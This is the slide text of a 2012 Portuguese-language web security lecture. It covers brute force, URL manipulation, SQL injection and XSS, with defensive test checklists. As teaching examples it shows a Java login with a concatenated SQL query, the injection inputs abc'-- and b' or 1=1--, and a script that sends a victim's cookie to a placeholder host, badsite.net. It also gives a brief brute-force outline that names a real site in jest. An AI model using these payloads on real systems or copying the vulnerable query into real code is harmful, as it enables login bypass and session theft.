  • 20. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 20Segurança da Internet Ataques §  Força Bruta §  URL Manipulation §  SQL Injection §  XSS Cross Site Scripting §  E o HTTPS? Se utilizarmos, nossa aplicação é segura?!
  • 21. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 21Segurança da Internet Arquitetura TCP/IP
  • 22. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012Segurança da Internet Força Bruta §  Tentar todas as possibilidades... 22
  • 23. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012Segurança da Internet Força Bruta §  Exemplo Motivador: SINEF §  Técnicas para evitar §  Limite de Tentativas §  Você utilizou 5 tentativas. Usuário bloqueado. §  Tempo de Ociosidade §  Você utilizou 5 tentativas. Usuário bloqueado por 30 minutos.! §  Imagem 23
  • 24. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 Força Bruta §  Como fazer? §  Descobrir o formulário e o nome do seus campos §  Bolar um algoritmo para gerar todas as combinações §  Ir tentando… §  Tome cuidado que é possível descobrí-lo pelo seu IP §  Não use para o mal: §  www.peladeiro.com.br §  qualquer outro... deixo com vocês... Segurança da Internet 24
  • 25. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 25Segurança da Internet URL Manipulation §  O método GET do Protocolo HTTP requisita informações importantes na URL §  Portanto, os parâmetros podem ser manipulados para se obter resultados satisfatórios ou, no mínimo, "interessantes" §  O impacto é ALTO §  Vamos ver um exemplo didádico e procurar alguma brecha dessas na Internet §  Não necessariamente uma brecha seja uma vulnerabilidade
  • 26. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 26Segurança da Internet URL Manipulation
  • 27. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 27Segurança da Internet URL Manipulation
  • 28. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 28Segurança da Internet URL Manipulation §  Alguns possíveis testes: §  Verificar se algum parâmetro é passado via HTTP GET §  Verificar se os dados sensíveis armazenados no cookie estão encriptados §  Verificar que dados sensíveis não são armazenados no cache §  Verificar se os dados encriptados estão voltando corretamente §  Verificar que além dos parâmetros os campos também estão sendo encriptados
  • 29. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 29Segurança da Internet SQL Injection §  A idéia é injetar um comando SQL ou algum comando como o valor de entrada de algum campo de um formulário WEB §  Todos os parâmetros passados são direcionados para o banco de dados §  O atacante pode manipular com as tabelas e dados diretamente
  • 30. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 30Segurança da Internet SQL Injection §  Causas: public boolean onLogon(String nome, String senha){ boolean result = false; Connection conn = null; try { conn = ServiceLocator.getConnection(); Statement st = conn.createStatement(); ResultSet rs = st.executeQuery("select 1 from USUARIO where NOME = '" + nome + "' and SENHA = '" + senha + "'"); result = rs.next(); ... } catch (SQLException e) { ... } finally { ... } return result; }
  • 31. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 31Segurança da Internet SQL Injection ESPERADO nome: chaves senha: kiko! Quando submetido a query será montada como a seguinte: select 1 from USUARIO ! ! !where NOME = 'chaves' and SENHA = 'kiko' NÃO ESPERADO nome: abc'-- senha: kiko! Quando submetido a query será montada como a seguinte: select 1 from USUARIO ! ! !where NOME = 'abc’-- and SENHA = ''
  • 32. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 32Segurança da Internet SQL Injection ESPERADO nome: doug senha: f@c01! Quando submetido a query será montada como a seguinte: select 1 from USUARIO ! ! !where NOME = 'doug' and SENHA = 'f@c01' NÃO ESPERADO nome: a senha: b' or 1=1--! Quando submetido a query será montada como a seguinte: select 1 from USUARIO ! ! !where NOME = 'a' and SENHA = 'b' or 1=1--'
  • 33. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 33Segurança da Internet SQL Injection §  Além disso, tem como: §  Identificar campos de uma tabela §  Verificar se a tabela existe §  Procurar por usuários §  Ataques de força bruta §  Verificar permissões §  Criar um usuário §  Alterar dados §  Determinar qual SGBD e a versão do SGBD §  Interagir com o S.O. §  Manipular informações da rede §  Modificar o registro do Windows §  Obter senha do VNC
  • 34. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 34Segurança da Internet SQL Injection §  Alguns testes: §  Identifique os parâmetros, html e xml tags utilizados na aplicação web §  Substitua o conteúdo dos parâmetros por todos caracteres utilizados em um ataque de injeção de SQL §  Verifique que as queries foram substituídas por stored procedures §  Verificar se as mensagens de erro fornecem alguma informação §  Verifique que os usuários da aplicação web tem o menor nível de acessibilidade possível no banco de dados §  (continua...)
  • 35. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 35Segurança da Internet SQL Injection §  Verificar se todos os campos do formulário estão sendo validados §  Verificar se existe limite para uploads §  Verificar que a aplicação não aceita: dados binários, caracteres de comentário etc §  etc
  • 36. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 36Segurança da Internet XSS Cross Site Scripting §  É uma vulnerabilidade tipicamente encontrada em aplicações web que permitem injeção de código por usuários maliciosos em páginas vistas por outros usuários §  Exemplos de tais códigos são código HTML e scripts executados no lado do cliente (JavaScript, por exemplo) §  Uma exploração comum é utilizar uma vulnerabilidade de execução de scripts para ultrapassar a política de segurança
  • 37. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 37Segurança da Internet XSS Cross Site Scripting §  Não existe a ligação entre o ID do login e o ID da sessão §  A sessão do usuário pode ser roubada §  A ideia é obter de alguma forma o ID da sessão §  Impacto é alto §  Pois, o usuário malicioso tem TODOS os privilégios do usuário autorizado
  • 38. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 38Segurança da Internet XSS Cross Site Scripting
  • 39. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 39Segurança da Internet XSS Cross Site Scripting §  Um exemplo: §  Pode se receber um e-mail com um link §  O resultado é enviado para um site http://www.mymail.com? search="<script>window.navigate("http:// badsite.net/steal.asp? cookie="+document.cookie)</script>"
  • 40. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 40Segurança da Internet XSS Cross Site Scripting §  Solução: §  Sempre valide a sessão com login e os parâmetros críticos §  Como IP da máquina de origem e, até mesmo, o endereço MAC da máquina do cliente §  Alguns testes: §  Verificar os posts disponíveis na aplicação §  Verificar que as sessões são sempre verificadas §  Verificar os cookies não proveem dados sensíveis §  Verificar que não é possível executar outro script dentro da aplicação
  • 41. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 41Segurança da Internet Considerações Finais §  Não há segurança de sistemas sem a conjunção de três fatores §  Boas praticas de codificação §  Metodologia adequada (projeto, arquitetura etc) §  Testes, testes e testes!!!
  • 42. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 42Segurança da Internet Dúvidas? ???
  • 43. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 43Segurança da Internet Ricardo Terra rterrabh@gmail.com Apresentação disponível em: www.ricardoterra.com.br/palestras Principais referências bibliográficas: ASSAD, Rodrigo. Testando Segurança em aplicações WEB. Recife: III Encontro Brasileiro de Testes de Software, 2008. SILBERSCHATZ. A.; KORTH, H. F.; SUDARSHAN, S. Sistemas de bancos de dados. Tradução de Daniel Vieira. Rio de Janeiro: Editora Campus, 2006. Título original: Database system concepts. 5 ed. Obrigado!
  • 44. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 44Segurança da Internet Outras referências bibliográficas §  http://en.wikipedia.org/wiki/Robert_Tappan_Morris §  http://en.wikipedia.org/wiki/Kevin_Poulsen §  http://en.wikipedia.org/wiki/Kevin_Mitnick